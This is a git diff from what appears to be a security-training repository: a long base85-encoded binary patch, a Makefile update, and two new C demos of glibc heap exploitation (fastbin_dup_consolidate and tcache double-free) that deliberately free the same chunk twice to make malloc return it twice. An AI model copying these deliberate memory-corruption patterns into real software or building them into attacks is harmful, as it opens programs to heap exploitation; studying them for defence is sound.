zq?{Da5#T9}3K&saDH0K4Ng)MxMn$U~X%*FVdx2(UoJ#P3Lc&&?wr$O9ZFlHb2~Hed z7F73eLq_6V(OLF6Fxq&}bEb=3;+NOuy(Y}aq6h^Uu%rx~uwR)`jg%pu)9E(n)Yj9> zP_m9qF?!)C%{2ZRLX{T=!{SGF4xQ0^Pl+lxaq3iVdNe)vE%)Bty}DM`9BxCEV6l2r z=IAZa0U!21QHk_#e75jNU?AI%_Lp}WL;M%zhQ+RAhcpWZ_x2+Buqd;pBb|q&9nME2 zDF3$Y+b=UZMCB1rnE?hlC8I(%!l2FF(#@DBl;x@bpdLq?m{U>rRRScKUTb)jT=Xyi zWEe`tAQFP?TCJ-3^yv@A&cE&_Mj{0(Hk@xC>^$34Hdn%mr;G!WX^)ZhB&2=F3ZQ$9 zdf?1Hih)_V=1a<~d-iRn-TbBuFV83T^?j$;EbLRx~;9+ zV%G5(#pu{!7(I-LGoRW4%$e$a{jOadN=i!D1t`@GDgdFF;cRlVpuvFS16HY5-Fp6f zPFaoZ{mhxw3#<3-BHq05!ER!7%9(*fhbB=f1uZ!_@rV0zI;MyQPr(SRU^gR6PNPUEp&jrwECaj7u@N0D{TO&w6d`a5Td<{)X53Q? z;2625@zoS>SqBvr6YB%js1GaD&(l^x@TwzA(^X~1O3%=?4_hJtu z7bN-qi4PMl_ViaGpF!9<^a`tI^@#66rBOV(*w zV#E+&GBjRAO>Kcn%!ViJi=CfsmZdm5bsZX%-aY#my*Hm)g3A8m$6EhbrfyueEo7}` z2wt!|%I99*`zF1GZ2ctVPjOmmvAycW<%YVtx}{Ig;jR;*=oLSMH&V(rwi7K|>e{Q|5Q;*RP-AEdL-9A1pyKQ$t=e1j^Z*1)4%-9<&>?G%!|F;SI&l6@&0F zjwBY-&S5EL5Uye{f(0Je>JZtfOeUCva0{W`62 z+=N-J&PEJXfI-Z_rmda$ZZqlCn0V{ca^zXj^l+IwpYCaHWizVef+q0U)~Y~%-`C*{ zR@&&z-Wx+}8%^MqRgS)2-e>b-YrL(h_k%3KAh5vQ^eiu1+KLa3#VbdSJlCb`UO4KD z2NnNB&)sq2XTnY=sKjLP&`lMoc@d>Wj~^qq-V9SE%nR|`$ize6dETJj_V3?L=559`OII_HwoB^I40-M1?pt4J;GxlhHy+PEC`?J2Ih@-dF8Veve(&hLw*Q7Z&mJ0o zbE~E|M(<%Vyz!ckOCRyYP!{r`v?W@MvyJoO2+Skt$^4ix*a_ELs?-IaCv+V$ds@hx z-nEez7RMic;&j!#wyKwLKNsGM>Ib78H+-jbQk67C{b%jp^Y2vP&pq#7A9!5zgOG^H z|BZIthcXsN+!0>*15LfS*T9X<$LGU!P$1khA$gONpHYVKKsVbT)zH=5LQ6t@eHi_9 z>Thc@M_R#U=fT@sjP>{P^YHpM@cnKVXXmS=3=wot#?8md2VAm%QcU7V55_hP86rTV zfaH>1<;jp9%HD*zb7O3>4$DfQJgiaD#yu(w(_T0&@J7zfSz}BjN4q*Hv>Y>MB>i#)V zR*6WEhU}VFd-0ULzyCGfyxqf=#o5k$j&d6Z;4nBlpd|tai#i2lWBkaxzTWM_dsbON-(Zis=699USw!u zEESh9mPoK&jxzpx@q3z2F-Qa*xtx`?9^S8*E1(mJXz+)g{|=`^hu)_N`v&qtr^KFI zo>T#ei)=ZP!vcRAQoYKCTzEyBIt;i&@x*X{%Ev+g&o1;tt}ZUSm1VVW<+ar#Nn%7X zj|-!~_#wOCC?{(I$kMcT_jpST4Gje}vh5%iH9!A;-3mQ9vr9wyDj5ky=hgSoS(tTx z%^;jC5=Ta3a~Nt- z!SS>Tqwr7D-?L=Ff{kfup3%Wsbpr|jn+CG$F#HT~*C0wegR}3&%#?qp1hi__ESBc< z*qn>e@ScG7nu{HwXhlpE&-O^fL`}GMK`9>&{~TO)rtcZ0*MOM2nOq=MNTg&}88Cb1 z;jThVB3~C8j{z_>gw=LR;JucpPJG(yh*au94Kuyg?eYDd}|Kf;n^2PpnPNU zuZOCP$12E8!HBa=GQ{-5i8_m>yA7`%FZ%PpgBr}f8e>+0_;oH-g}!-RAit`2;3qSc zHbVZV%cff0D9j4zA%go-J;fcfzW_=D4G|@9C$TAg^k@&E3T^Y3E2pu!6W8QF0MXE| zd9*z?XO~IfmDv<;>{`qv^&nxi4G`l|N((tX{22%0(g6@k^<+fRK3hkh4k{NYg575j<-Erbz$zlfZ(^BcZu}cd7l#sZYZ+Fgq#?@sF#b| zf(6+ypo&=5C0v3@jt9K9(6+t=Q(d|JFSnxSTZt3Gzn3*P8hp9cA&==)`0 z6JMgi2{U-NM`SC!rBP^-WOEH6E@$IzF4i&GKErS*3Bsz|IWiSLo&N45H6saWXL&iH zs}+AHB0}iU%Hzk6j}MZ{R?O1`WcrtGO&;9H6@ED@t;{Ic7sy@9O-OV^)0-%w&Tg$!-+oLhNjP?r)Lw2)r zFm1?ahTWf^uzz9M>yr>k9mk4hg2#k!P0*o`?P4Wxr2GjQ*!$#Sp#tg?BI2}*R+?5|I?)k;O$s*+`&RQP|Y8ER)-V{Izga#AEZe|*mr1o{L6V(c|BKklHwquzI<%A zs9IlO}hPuUHA|1RPwg(jeIo=xH0Ba=IO^(uo=VE^dYyTZxdcULts zUv$8A8Yv{+Ur-jhDY4?Og&mTccT$qJirYS9Mnh(&tHaM7JK;gwQR&S z!RY~lcHphn7N7tZ)E4QE`^#&J(hzNTgIpM!U9LQKEuOV4VpNPXi4Q?b>?R(4Fwf0x zS9#4#%+*jCD0%68me#5BHRM`@YH|uFS%Iko4Rix=^qN@$cBLUQKf1qA1K?h;~ajBD&>GbIx zL53_$&8@7gq76cYDUE3$mCE#!J$qSf=|Oyiv9+EOx$}eOQteq9-%WBWUKy)Hj{`Eb z$9ZROXLT{113>4L< zRBzJX^McCJfHk!XCpuY7H<@OVGjp5tA9+!Dbcw4vmSzU>q<@X+&{6X}-`R>G{{mJS z;9Mcau>xG)8@y~C_2vfIm^cmVScnV(Oh}E2nWA!V^MrM+gDcWoX?x7LI1dm==~2Ne zE`XoF@c52j-sIgoi~=8g`ieWQTKjfoYNHNhx*3#OD6sKpG;^gbRa4*QMuoq%^jjfh z1G*eQ&=A@9FmdVtR_akjw;)Zxy9l*7RTT%|wxn;!^}Pp?f9d#~TWWR7u+kUX6pN?p zqC=eaY<@;9JRVf}mvF`bvJxkHdP;exppU!fIytQ-mq{e42#|8_ z>0&K5o3m)JejZjiq6LK_JejR1Xg|VGbCVG*`Z-S3jAuWtFwRX3XFgb_nhA6J$b6*V74keJ%qOF_QX+>7zOjG#VU}Bhu1~m zKeoMeefI1b-7_zF7>AdNvx{*+m;B`o_tLZ$1T=n{IV;m|xCj#|9(l~hjAt+rI0S#2 zXQk1<|D@VcNAQfWnY`V9{!zEAP@th7S z(bZ}8;-As>d^Bjd!*F(^)C0Eo8|B)8cLQr4SL;4Ksyt^iWsS=kfe(l|krj_x=O^|mt5*Gd{JNdnPV|VH2EW0hxAEP(_sHR4 zet(~+3TWK8v9_WOZ+d~JoQJLTJ-=4mN(eMM{_abQ{ku+fH_+EdA45KKTCya%Vo(mw z9vCR^pLtFfXYy@(_Uv&UB4xk4h*61pU0(3TIn{GmRc>Hl;JVu2hwI##E4Tj$pjhnF zWMcF*hO&;yU!ppjoFA8WHqT_&D5V#rrH7tW@H$&R4erB)jBFdP_8i=@r0H+`{d`&1 zuo4J~ah4Zl`B*eABF|@4nZ`pSQHmHEGptE?~l-SBLD6GR35* z*(}6aHc&D$ipc86GC4prDBuSey(_%YoIkJktEjtB)UlI~-kMd3k+&{Oj?SHmYXly_Zgy9Gf)f;wy2(q#LzrQ@!~^N>IofF*aiS6FB0{^MA) z?*l&R85ro~pBg02Eln$5U07xs9L-x!1FU)CdL?Cm?3sXFJau6gDMa_hlo#%~nZh*H z$|+qPl8@Izz3Xq_H}bnD&+?=uMr<|1qA1@Uj1_JfC3Tgj8@w0iA8K5#K@?mskW>^IGq}T=UT+W z(7G1~$(rB<-2(#yfxWX4JGc&VzWa}>VG+zR7`>=rRX}6;_MrM=<<5=uC9}aMu*ma& zcVEk7n#u@Xf5SQGEPuev7`)Cq{Q8X>ZSjc#c$!`Mx{rp2R@!0VTTba0*6a_qf=VY% zW{mW@0U}~+YwHdSkn(jAtV}+L@&(`JiSCueB2in4DJ?lq7Sbx7 zbqu48Kvght$r*%^1+QfE)aTwQpt_{*#(H|KML!Et2$0saMT=WDgDyhZ0=5fXa{zT? zLrnuUf{gg=Fk=mW+~-=kE+i6=2`C7cWdI8RwC&>SmZfJeM`}&E@n$)tqt)ZW^Qt>) zK7YQw%wrF-M%a3zVJHH`F;720)wY^f!sfj9GTbyg{GYvNied>PG&F2r5h8uageOm* zzEkL|dWsiSU?675+@GOGx*}X~;Ss>woJ&0Jb!eOaktz4T9B$n+uxirm4tWzU=Fei6 zkH?4TdE=h1&ijifJz^DnCaf(Hi z=h2D7z%OmbU7-7Ax;}sll7SYa3WM zQL}Hjc+r@+&Hgh5_SxL8j3=FnBdN#(FBegzxZ_Vr*98Nm8hanvJ3{!vzFawGd{Oge z&3xvK?W{g~Igyu{Rd=2zJ}B|Jxd-8qeXbt#Vf=v`0)9qW@&K8UV@7icq=t%*s8D4X zJ1C*R-Q&r_D_7QF&GF*nM_H_)HpqQ)*!B0#N0W%?1m+U~te#Gz5yAPoN6(%Of@pZO z%l5*Pgl1z|3rdq}z4@jo_h>=;L5da`6t>Iz6=9GzyRBaFqBhHDpc z3Vo@`KjsTe`ShtlK`Akg=mBpCuDWaGQThl2%u0B6To$6lfeY^TmgzTT(pAPgkypI1 zV$TgTJp5_KhG|p(ugyoYvio^W4vIn13YD7$hd&TZrrLHV#Y_YcQGB{=G2;g&(6S^? zFn9{)%5iyFXOm9TyN-L_q8*+`))8>a3xI)C6$9N~`%uFAUj2)!m9FpqjJ$>1^n@Nsq?UmmTfsoY#>pbke&NwS-|I7AaU;5+G1|O--3`-g_V+Ou3t3$NW$$ z76CQfy>HWyeVK*sgZg-``)sRC%8NwXPcDhhccxcP;=0*Hy)o%k1O;iUWw3Nsu-I7v!Mo(7fW~k5Z z3tdU}>r$A>a%*JCsdxPX%B(%AbBekTT{1KJE0sBKBP$7;^J0)8WGA4@y^R2M?Lbhy zy@!F%XfUv&=MaaukIygWiR5V35oh7ReLQNdu7ACtpfY$!hWG6MIqJ@*)lEk>`Pg_O1i(c$F#}Gwbzf1g=94OA7U9Daa{IVk+QP~-6FnVTU6A> z;9&Ex?faz-1uN<_(VSX#KO%hH=2dt4W~V*J18)Qefvd1&_LYz)`wG5eY03-q7RlkNByc!2GZG*U&ZxaA)3Q7mo^nH6!7D<)< zIaP(!5emR1>s*U>yZl)a23PF;l!nKzjPk#S{n^mGqM?;l4`{3>ADF}at4Xj?H84ms zOgd9N<;DJ4UxFHVHTnJ>INF86&0<#((DBTdkL>hflUV2jRs3wO-M7N?^KB<&Teol^ zxlpD2ZMRkD+R;OJoQV?&(&7Fy|1_b$FT=KPYj@*=T#?KC`9d2(lJ>*TxCH-&iFd}m zTg<8@s2v?=QED24vU>mhiA^M0>QOE3Jpi-%#>2EK@(NBwy4w>%Mjqmgm!nJHd6!bKA+665FA4%zrpmY`)c2} zh%2++0M{V$Qa7*L{iqyK!3xWQS+uN%#=@Xwsm04V8g*Yzg!K9pbJV5cg5D zB595*a--o(c0obp2{H~AXBKER;IcOeN08gDq9FoZ6LVY4E1XhKn{VhKrA^NJnF02* z9_Hn$MF-7yaXG=!02Di@(mLz<^~#4cmMWeNzagc4*@O=NZ0qpw|Lup_F6~I|u^%r6 zn5Mn|FyZNwC#8Ihuy$|7yY%degU1{4(gGpg0f7=0Bz;Q5EpA#a2b!zTp4!%KLr>Om z(A(sYG^H8wwrl@*9#LG z<=wy4Y}TI={KyygLQpBiPviiF8;8fIS_ij2u8mA~yCi2A0+&HhSnJo=YxOmv^B7>$ z1t4*mBTOzRQ!!#|5(>F_Aa;RRu0l>|gh8<+N)BBr-42-iSYAk4fU(<)R#evIC%ukx zbOHO>0V)mxBH|uWA4s0U*$3N9&on=kY2@|)uEzCKU^tXZV!p}krywC54a9N{*+(`t z&q*wvpFG(I5v0MJVFPamR5fGa@p0WQg+M+XJ}tRmc(8f8qFg#VQWvJf>%YoVRoF6r zy6eB6wwW9p-Y40ou;aiCpjz&%6&huaH=k6^MQcV0O3MdI*Ht#W@%V z>}QD{>i2%W3LZCM!W%R$L1pdoc`ZsDV~!qJ_6-Ihch@4>-T>u~0uJeGc{gd!u0iXC zwA2P#FPwM*bh#^xZ#R%W#Y&065k=>=9U;#1=Znt@wOtk+pvV}!1E%!dSHyHrIsZZb z_A4qrcc2#!;cu|p_pN)>{MU<$@-;4B;B$$9cpy=l@Hk}w2zt@Xy9-7`K6Ij`qqJE^ z!7Wuhs1(I@XA0aT!V-)Ry}a~M2q2k|*j^0qhZRa&Fe$8@_D2%x-A#6hw&Gna-irGa zMtOfyU_uR_J-JZ@+J!!F_BpN4G~FMc?k8^WFls5<*p(#fg<+f0i@spGL7TulI zMq-y{-)l@HdBj?q&(qNE8MNREe3Juz*TJ@w|MEPxzgj!L!@{u^7FAd&Xze=sU?Khs z;tlj4JlEefc+o%iz-rME%g>$1Ts(ii=0<=IQnD+AaXQpSG2d)SXJREQgVEsg%awY; z6#{WhT~yfLb%;o1v9%3>mQ~_wT>H(>NaalcOMPf#e}$Fy5qzHqx{)? zId1hA`vIGv8X_Bs3#|W{vnmz1fOcn`{5{2Y=daPfkf#T`zMfBPohO@;h*d&t6aoZG zS%?6#)qP9XkzYbb`J7Hmb0%(l$Gc757pQ0QWylr&IKO0n(7@+?oF8G00k4nonA4^-Q;%({N;razs!h~qM<3DNF(NE6aRuQWb@L8$$Rf={DK7I4y}5hX-$OSKm)()!o)&FkFV zt~5$pm-uKXpRansFu!!EWyG%OnX z?7%6#qP?2m8mxerCN6EZ8~Tmu_U4+!hAZj^jMQhdaAv~I%;|fXGp@5f8l@zv)u?PW# zW;XkMXzSYEeTSH-{8szES!LC@$=h3zL7nI*WN4zmDW!H+)0?Y+U+xn1rL!&*apwVI zzkhaN#)8FlJ?bqV3W|a~D?UJLf5C*5SWESctCw3m=VXjS<0>YT{EnXxY8p!ut ziX(dYMo4YACTcl?UF&Jn3a>mHqdwd6zkR;E9@^TQAeNk5^>qn&s)FXUlrBKJv3!v8 zD4m1P2V1|T<`anzaq$y^um<>J9RnjQxkB z8oTX`?S{g&|Lw=Mz%^0|O<6NZis?OkxLUpvM)CKBwLsO_h;{V2xy{|$c#;O;Z8U4% zT+Eh$IW)E*yJ;kBG)g4Og$q>+W}2xC{%?0;z;sxZydLo8f4-o7!6aF$kcFADq*+Qo zoA}0zISTi=(?CWIqO<{WEg z!tf;oqGW0e5-T?Lefspt@)Z6bIsP8i8}+Z=(4hl9eKl#SE=N%HUq`UAt@IeI6~LRc z%9Co!?`fglp_^M7i`wuJi<5+>G(@N8x|@4{UbEmSVyheX!a?Or0b1JhUH||9 literal 0 HcmV?d00001 diff --git a/src/Others/3.3.6_heap_exploit/Makefile b/src/Others/3.3.6_heap_exploit/Makefile index 0a60a90..9905c35 100644 --- a/src/Others/3.3.6_heap_exploit/Makefile +++ b/src/Others/3.3.6_heap_exploit/Makefile @@ -1,4 +1,4 @@ -PROGRAMS = fastbin_dup fastbin_dup_into_stack unsafe_unlink house_of_spirit poison_null_byte malloc_playground first_fit house_of_lore overlapping_chunks overlapping_chunks_2 house_of_force unsorted_bin_attack house_of_einherjar house_of_orange +PROGRAMS = fastbin_dup tcache_double-free fastbin_dup_into_stack fastbin_dup_consolidate unsafe_unlink house_of_spirit poison_null_byte malloc_playground first_fit house_of_lore overlapping_chunks overlapping_chunks_2 house_of_force unsorted_bin_attack house_of_einherjar house_of_orange CFLAGS += -std=c99 -g # CFLAGS += -fsanitize=address diff --git a/src/Others/3.3.6_heap_exploit/fastbin_dup_consolidate.c b/src/Others/3.3.6_heap_exploit/fastbin_dup_consolidate.c new file mode 100644 index 0000000..7e6161f --- /dev/null +++ b/src/Others/3.3.6_heap_exploit/fastbin_dup_consolidate.c @@ -0,0 +1,29 @@ +#include +#include +#include +#include + +int main() { + void *p1 = malloc(0x10); + void *p2 = malloc(0x10); + strcpy(p1, "AAAAAAAA"); + strcpy(p2, "BBBBBBBB"); + fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2); + + fprintf(stderr, "Now free p1!\n"); + free(p1); + + void *p3 = malloc(0x400); + fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3); + fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n"); + + free(p1); + fprintf(stderr, "Trigger the double free vulnerability!\n"); + fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n"); + + void *p4 = malloc(0x10); + strcpy(p4, "CCCCCCC"); + void *p5 = malloc(0x10); + strcpy(p5, "DDDDDDDD"); + fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", p4, p5); +} diff --git a/src/Others/3.3.6_heap_exploit/tcache_double-free.c b/src/Others/3.3.6_heap_exploit/tcache_double-free.c new file mode 100644 index 0000000..98305ec --- /dev/null +++ b/src/Others/3.3.6_heap_exploit/tcache_double-free.c @@ -0,0 +1,28 @@ +#include +#include + +int main() { + int i; + + void *p = malloc(0x40); + fprintf(stderr, "First allocate a fastbin: p=%p\n", p); + + fprintf(stderr, "Then free(p) 7 times\n"); + for (i = 0; i < 7; i++) { + fprintf(stderr, "free %d: %p => %p\n", i+1, &p, p); + free(p); + } + + fprintf(stderr, "Then malloc 8 times at the same address\n"); + int *a[10]; + for (i = 0; i < 8; i++) { + a[i] = malloc(0x40); + fprintf(stderr, "malloc %d: %p => %p\n", i+1, &a[i], a[i]); + } + + fprintf(stderr, "Finally trigger double-free\n"); + for (i = 0; i < 2; i++) { + fprintf(stderr, "free %d: %p => %p\n", i+1, &a[i], a[i]); + free(a[i]); + } +}